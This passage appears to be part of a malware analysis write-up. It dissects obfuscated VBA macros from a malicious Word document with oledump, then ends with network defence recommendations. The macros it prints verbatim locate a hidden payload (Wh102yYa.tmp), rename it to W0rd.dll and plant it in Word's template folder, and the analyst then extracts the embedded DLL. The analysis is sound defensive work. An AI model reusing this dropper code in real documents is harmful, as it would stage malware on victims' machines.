        For Each vhhs In fld.SUBFOLDERS
            afs = vhhs 
            Call checkthe(afs)
            myArr = Getme(vhhs.Path)
        Next
        Set vhhs = Nothing
        Getme = myArr 
        Set fld = Nothing
        Set fso = Nothing
    ' If the file exists, Assign the value of hor to kurlbik and Check if another specific file exists in the path
    Else 
        Dim kurlbik As String 
        kurlbik = hor 
        If Dir(kurlbik & "\" & "W0" & "rd.d" & "ll") = "" Then
            Call hi(RootPath)
        Else
            Exit Function 
        End If
    End If
End Function
' Function to check the existence of a specific file
Function chek()
    Dim jsa As String 
    jsa = repid 
    If Dir(jsa & "\" & "W0" & "rd.d" & "ll") = "" Then
        chek = 0 
    Else
        chek = 1 
    End If
End Function

Please note, the comment lines are my explanation comments, so you can perform copy past directly.

The code consists of two main functions written in VBA (Visual Basic for Applications). It is designed to interact with the file system, specifically focusing on checking for the existence of certain files and recursively processing folders.

Also it look like the code developer use technique in the written block to make the code harder to read and analyze, as example uuj = “Wh102yYa.t” & “mp”are equal to uuj = “Wh102yYa.tmp” and Dir(kurlbik & “" & “W0” & “rd.d” & “ll”) are equal to Dir(“hor\W0rd.dll”).

That block code search for the following files:

• Wh102yYa.tmp
• hor\W0rd.dll
• repid\W0rd.dll

The next Macro block can be display by using the following command: oledump 0208_54741869750132.doc –vbadecompressskipattributes -s9

Sub fke()
Selection.MoveDown Unit:=wdLine, Count:=1
    Selection.MoveRight Unit:=wdCharacter, Count:=5
    Selection.MoveDown Unit:=wdLine, Count:=24
    Selection.MoveRight Unit:=wdCharacter, Count:=50
Call xren
End Sub

Sub xren()
    Selection.MoveDown Unit:=wdLine, Count:=24
    Selection.MoveRight Unit:=wdCharacter, Count:=5
    Selection.MoveDown Unit:=wdLine, Count:=24
    Selection.MoveRight Unit:=wdCharacter, Count:=50
       Selection.TypeBackspace
   Selection.Copy
End Sub

It looks like the purpose of these code blocks is to manipulate and copy specific portions of text in the document. The Macro moves around to specific locations and executes Selection.TypeBackspace which is used to delete a character at a specific position, possibly to clean up or modify the text before copying it.

For the next code block we need to specified steams 10, we can run the following command:

oledump 0208_54741869750132.doc –vbadecompressskipattributes -s10

Sub hhhhh()
Dim posl As String
posl = repid
Dim ntgs
Dim sda
Call fke
    ntgs = 50
sda = 49
Dim jos As String
jos = posl
Dim yer As String
yer = "Loc" & "al" & "\Te" & "mp"
While sda < 50
      ntgs = ntgs - 1
      If Dir(Left(jos, ntgs) & yer, vbDirectory) = "" Then
    Else
   sda = 61
    End If
   Wend
   Dim klas As String
   klas = posl
Call Getme(Left(klas, ntgs) & yer)
  Selection.TypeBackspace
End Sub
Sub rnee(myhome As String, hsa As String)
Dim has As String
has = "\" & "Wh102yYa.tm" & "p"
Name myhome & has As hsa
End Sub

By reading that code, it seems that the developer wants to perform operations related to checking directory existence, modifying paths, and renaming files.

We can see several files from that code block:

• Local\Temp
• Wh102yYa.tmp

Next is the stream 11 which contain another Macro code

oledump 0208_54741869750132.doc –vbadecompressskipattributes -s11

Sub hi(myhome As String)
Dim glog As String
glog = repid
Dim hsa As String
hsa = glog
Call jop(myhome, hsa & "\W0" & "rd.d" & "ll")
End Sub

This subroutine likely builds a file path based on the repid variable and then calls the jop subroutine to perform some operation (likely involving the W0rd.dll file). Since we have left with one last Macro to check, it should clear out the operation this Macros should do.

oledump 0208_54741869750132.doc –vbadecompressskipattributes -s12

Sub checkthe(sf As String)
Dim pafh As String
pafh = repid
Dim ololow As String
ololow = sf
Dim nothings As String
nothings = pafh & "\" & "W0" & "rd.d" & "ll"
      If Dir(sf & "\Wh102yYa.t" & "mp") = "" Then
    Else
         If Dir(nothings) = "" Then
        Call nm(ololow)
    Else
   Exit Sub
    End If
    End If
End Sub
Sub nm(ololow As String)
  Name ololow & "\Wh102yYa.t" & "m" & "p" As Word.ActiveDocument.AttachedTemplate.Path & "\" & "W0" & "rd.d" & "ll"
End Sub
Function repid()
repid = Word.ActiveDocument.AttachedTemplate.Path
End Function
Sub jop(uuu As String, aaaa As String)
Call rnee(uuu, aaaa)
End Sub

From that last block code we can see the following, checkthe subrouting looks for a file named Wh102yYa.tmp in a folder sf. If found, it checks whether W0rd.dll file exists in the repid directory. If W0rd.dll doesn’t exist, it calls nm subrouting to rename Wh102yYa.tmp to W0rd.dll. nm handles renaming and moving the file to the path of the active document’s template.

So now we can brack it down to understand what the developer intended to do with these Macros, the macros from sections 8 to 12 collectively seem to be designed for move or hide files in the system. The developer appears to be using VBA (Visual Basic for Applications) in a Word document to manipulate files on the local system by.

The macros systematically look for files in the system, likely related to the malware, and ensure that they exist before taking further action. It searche for two files Wh102yYa.tmp and W0rd.dll. If the file Wh102yYa.tmp exist it rename it to W0rd.dll and placing it on the path of the active document’s template directory. If these files are missing or incomplete, it calls other subroutines (nm, rnee, etc.) to ensure that the appropriate files

are moved and renamed to complete the setup. The function repid() plays a crucial role by retrieving the path of the Word document’s template, which is being used as a destination for the malicious W0rd.dll file.

These Macros do not directly execute the W0rd.dll file. Execution may occur through an external or subsequent process after the renaming, so we need to find that Wh102yYa.tmp, what we can do is to dig again on the DOC structure, which can give a clue where that DLL file should be store.

By running the first command we can see that the stream 17 look interesting since is the bigger one.

oledump 0208_54741869750132.doc

Dump out the string from that stream look interesting since it contain path of Wh102yYa.tmp at the biggening and in the end.

oledump 0208_54741869750132.doc -s17 -S | tr -d “\n” | more

Also we can use extract flag in oledump, which should display the file in binary form. oledump 0208_54741869750132.doc -s17 -e

We can see clue about this file type which say this program need to run under Win32, so this is binary file for windows system, it likely to be the DLL we are searching. So we can extract the output to local file and running the file command to check that file type.

oledump 0208_54741869750132.doc -s17 -e > test_file file test_file

So now we know for sure that this is DLL file, running the command objdump -x test_file or strings test_file, didn’t give much info about the file, so we can check its hash can take a look on Virus Total. Please note, I have change the name for my convenience.

mv test_file test_file.dll Sha256sum test_file

So now we know for sure that this is the Wh102yYa.tmp file we were looking.

Recommendations

Based on the recent analysis of network activity and the security incidents observed, here are some important recommendations to improve the organization’s security:

Disable Outdated Services

Turn off older network services. These services were detected in the traffic and can be exploited by attackers.

Disable SMB1 to prevent exploitation of old vulnerabilities.

Disable MDNS to reduce exposure to local network attacks.

Disable NBNS to prevent name resolution attacks.

Disable LLMNR to protect against credential theft.

These actions should complement your existing security measures and address some of the threats and vulnerabilities identified in your PCAP analysis.

Enhance Security Measures

Base on the activities found on the provided PCAP file, we were able to track the attacker activities, then we made up indicators that can be use and implementing on the internal network for prevent same case in the future.

Block IOCs: Use your firewall or DNS service to block the domains and IP addresses mentioned above.

Antivirus Scan: Run an antivirus scan across all systems, ensuring it detects malware like Hancitor, FickerStealer, and Cobalt Strike.

Employee Training: Start by educating your employees about phishing emails and suspicious file downloads.

Regular Updates: Ensure all systems are patched regularly to avoid vulnerabilities.

Data Monitoring: Use simple tools to monitor data leaving your network, especially towards unknown IPs or large transfers.

This revised approach should fit a smaller company’s budget and resources, while still offering protection against the key threats identified.